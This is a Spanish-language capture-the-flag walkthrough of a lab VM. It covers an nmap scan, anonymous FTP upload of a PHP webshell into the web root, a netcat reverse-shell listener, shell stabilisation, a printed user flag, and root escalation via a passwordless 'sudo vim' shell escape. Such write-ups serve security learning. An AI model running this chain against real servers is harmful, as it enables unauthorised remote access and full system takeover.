Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-13 03:24 EDT
Nmap scan report for 192.168.5.16
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 root root 10725 Feb 23 2023 index.html
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:A2:9F:C0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds
Veremos que hay un puerto FTP y un puerto 80 solamente, si entramos en el puerto 80 no veremos gran cosa ya que veremos una pagina web por defecto de apache2, vamos a probar a conectarnos por FTP de forma anonima.
ftp anonymous@<IP>
Dejamos la contraseña vacia y veremos que estaremos dentro, si listamos el servidor veremos lo siguiente:
229 Entering Extended Passive Mode (|||46275|)
150 Opening ASCII mode data connection for file list
drwxrwxrwx 2 root root 4096 Mar 11 2023 .
drwxrwxrwx 2 root root 4096 Mar 11 2023 ..
-rw-r--r-- 1 root root 10725 Feb 23 2023 index.html
226 Transfer complete
Vemos algo interesante, vamos a probar a subir un archivo al FTP en esta parte ya que parece que el servidor esta compartiendo los archivos web y esto puede ser una vulnerabilidad enorme.
test.txt
Texto de prueba
Ahora lo subiremos al servidor FTP de esta forma:
put test.txt
Una vez subido, vamos desde la web a dicho archivo a ver si esta funcionando.
URL = http://<IP>/test.txt
Info:
Texto de prueba
Veremos que si esta funcionando de forma correcta, por lo que vamos a probar a subir un archivo en PHP para generarnos una reverse shell a ver si interpreta PHP de forma correcta.
Ahora lo subiremos de la misma forma que estabamos haciendo antes.
put webshell.php
Info:
local: webshell.php remote: webshell.php
229 Entering Extended Passive Mode (|||21741|)
150 Opening BINARY mode data connection for webshell.php
100% |****************************************************************************************************************| 112 1.00 MiB/s 00:00 ETA
226 Transfer complete
112 bytes sent in 00:00 (32.90 KiB/s)
Una vez que lo hayamos subido, antes de meternos, vamos a ponernos a la escucha de la siguiente forma:
nc -lvnp <PORT>
Ahora si nos vamos al siguiente archivo web.
URL = http://<IP>/webshell.php
Y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.16] 47722
whoami
www-data
Vemos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Ahora podremos leer la flag del usuario bien.
user.txt
b8cff8c9008e1c98a1f2937b4475acd6
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on friendly:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on friendly:
(ALL : ALL) NOPASSWD: /usr/bin/vim
Vemos que podemos ejecutar el binario vim como el usuario root por lo que haremos lo siguiente:
sudo vim -c ':!/bin/bash'
Info:
root@friendly:/home/RiJaba1# whoami
root
Con esto ya seremos root por lo que leeremos la flag del root.